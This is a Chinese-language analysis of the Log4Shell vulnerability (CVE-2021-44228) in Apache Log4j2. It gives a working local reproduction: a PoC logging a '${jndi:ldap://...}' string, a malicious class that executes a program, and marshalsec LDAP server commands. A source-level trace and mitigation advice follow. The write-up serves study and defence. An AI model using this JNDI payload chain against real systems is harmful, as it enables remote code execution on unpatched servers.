CVE-2021-44228(Apache Log4j2 远程代码执行漏洞)分析
Apache Log4j2 是一个被广泛使用的开源日志记录库,2017 年 7 月时,有人向 Log4j2 提了支持 JNDI Lookup 的需求,并从 2.0-beta9 之后开始支持;今年阿里的安全研究人员发现该特性会导致远程代码执行,于 2021 年 11 月 24 日向 Apache 报告了该漏洞;12 月 5 日官方发布了补丁;到了 12 月 9 日晚,PoC 的传播范围开始变得不可控,基本上各大厂商都受影响,影响范围很广,于是人们给它起了个名字——Log4Shell。
漏洞信息如下:
严重等级 | Critical |
影响版本 | Apache Log4j2 2.0 ~ 2.14.1 |
漏洞利用难度 | 低 |
Exp 公开程度 | 广泛传播 |
这个漏洞的问题在于 Log4j2 算是一个基础组件,不管商用还是开源的程序中或多或少有被引用,因此难以被一次性全部修复完,甚至会在许多系统中长期存在。好在通过一定的配置或升级 JDK 可以缓解该漏洞造成的安全影响。
1. 漏洞复现
复现环境:
软件 | 版本 |
---|---|
操作系统 | Fedora 35 |
JDK | 11.0.12 |
Apache Log4j2 | 2.14.0 |
下载 Apache Log4j2 2.14.0:https://archive.apache.org/dist/logging/log4j/2.14.0/apache-log4j-2.14.0-bin.tar.gz。
用你顺手的 IDE 新建一个 Java 工程,拷贝 apache-log4j-2.14.0-bin 目录下的 log4j-api-2.14.0.jar、log4j-core-2.14.0.jar 两个文件到工程目录中,配置好依赖库。
接下来新建 VulTest.java,PoC 代码如下:
import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class VulTest { public static void main(String[] args) { // 高版本的 Java 有保护机制,需要设置允许远程 URL System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true"); Logger log = LogManager.getLogger("test"); System.out.println("test CVE-2021-44228"); log.error("${jndi:ldap://localhost:1389/Exp}"); } }
找个目录新建 Exp.java,定义一个恶意类:
public class Exp { public Exp() { try { String[] commands = {"/usr/bin/leafpad"}; // 自行更换成要执行的外部程序 Process p = Runtime.getRuntime().exec(commands); p.waitFor(); } catch (Exception e) { e.printStackTrace(); } } }
运行恶意类服务:
$ javac Exp.java $ python3 -m http.server Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
再用 marshalsec 启动恶意的 LDAP 服务:
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer 'http://localhost:8000/#Exp'
最后运行 VulTest 触发漏洞即可。
2. 原理分析
以下分析内容都是在调试过程中所记录,没有用到 Apache Log4j2 的源码,因此都是基于 class 文件的信息做的分析。
单步调试 Poc 几轮后,我找到了触发漏洞有关的代码,在 /org/apache/logging/log4j/core/pattern/MessagePatternConverter.class:
if (this.config != null && !this.noLookups) { for(int i = offset; i < workingBuilder.length() - 1; ++i) { if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') { String value = workingBuilder.substring(offset, workingBuilder.length()); workingBuilder.setLength(offset); workingBuilder.append(this.config.getStrSubstitutor().replace(event, value)); } } }
以上表示,如果启用了 lookup(this.noLookups 为真),并在日志消息中发现“${”的组合,就调用 this.config.getStrSubstitutor() 来获得 StrSubstitutor 类的实例;然后调用 StrSubstitutor 类的 replace 方法做字符串替换。
因此 StrSubstitutor 是触发漏洞的关键,这个类位于 /org/apache/logging/log4j/core/lookup/StrSubstitutor.class。
调试到 replace 方法时,发现调用了 substitute 方法:
public String replace(final LogEvent event, final String source) { // source 值: ${jndi:ldap://localhost:1389/Exp} if (source == null) { return null; } else { StringBuilder buf = new StringBuilder(source); // 会在这里调用 substitute return !this.substitute(event, buf, 0, source.length()) ? source : buf.toString(); } }
跟进 substitute,发现调用 resolveVariable 后触发漏洞:
// varName 值:jndi:ldap://localhost:1389/Exp String varValue = this.resolveVariable(event, varName, buf, startPos, pos);
在这里打一个断点后重新调试,被中断后跟进 resolveVariable,实际上它是去调用 resolver.lookup:
protected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf, final int startPos, final int endPos) { StrLookup resolver = this.getVariableResolver(); return resolver == null ? null : resolver.lookup(event, variableName); }
而 resolver.lookup 是 /org/apache/logging/log4j/core/lookup/Interpolator.class 这个代理类分发的实例,lookup 最后代理了 StrLookup 类,如下:
public String lookup(final LogEvent event, String var) { // ...省略... StrLookup lookup = (StrLookup)this.strLookupMap.get(prefix); // ...省略... String value = null; if (lookup != null) { value = event == null ? lookup.lookup(name) : lookup.lookup(event, name); // 这里打一个中断后跟进 } // ...省略... }
继续跟进,来到 /org/apache/logging/log4j/core/lookup/JndiLookup.class:
public String lookup(final LogEvent event, final String key) { // key 值:ldap://localhost:1389/Exp if (key == null) { return null; } else { String jndiName = this.convertJndiName(key); // jndiName 值:ldap://localhost:1389/Exp //...省略... try { JndiManager jndiManager = JndiManager.getDefaultManager(); Throwable var5 = null; String var6; try { // 实现 JNDI 查询操作 var6 = Objects.toString(jndiManager.lookup(jndiName), (String)null); } catch (Throwable var16) { var5 = var16; throw var16; } //...省略... } //...省略... } }
最终调用 jndiManager.lookup 实现了 JNDI 的查询操作。
3. 缓解措施
1、如果受影响的项目自主可控,建议直接更新依赖的 Log4j2 至大于受影响的版本;
2、使用 JDK 11+;老版本 JDK 更新到 8u191(JDK 1.8)、7u201(JDK 1.7)或 6u211(JDK 1.6)。这些版本的 Java 都有一定程度的保护机制来避免加载远程类,即便测试过程中发现 dnslog.cn 等平台能收到解析记录,也不能说明漏洞能够被利用。
4. 参考
- 2017-07-17,有人提给 Log4j2 支持 JNDI Lookup 的需求:https://issues.apache.org/jira/browse/LOG4J2-313
- 《浅谈 Log4j2 漏洞》:https://tttang.com/archive/1378/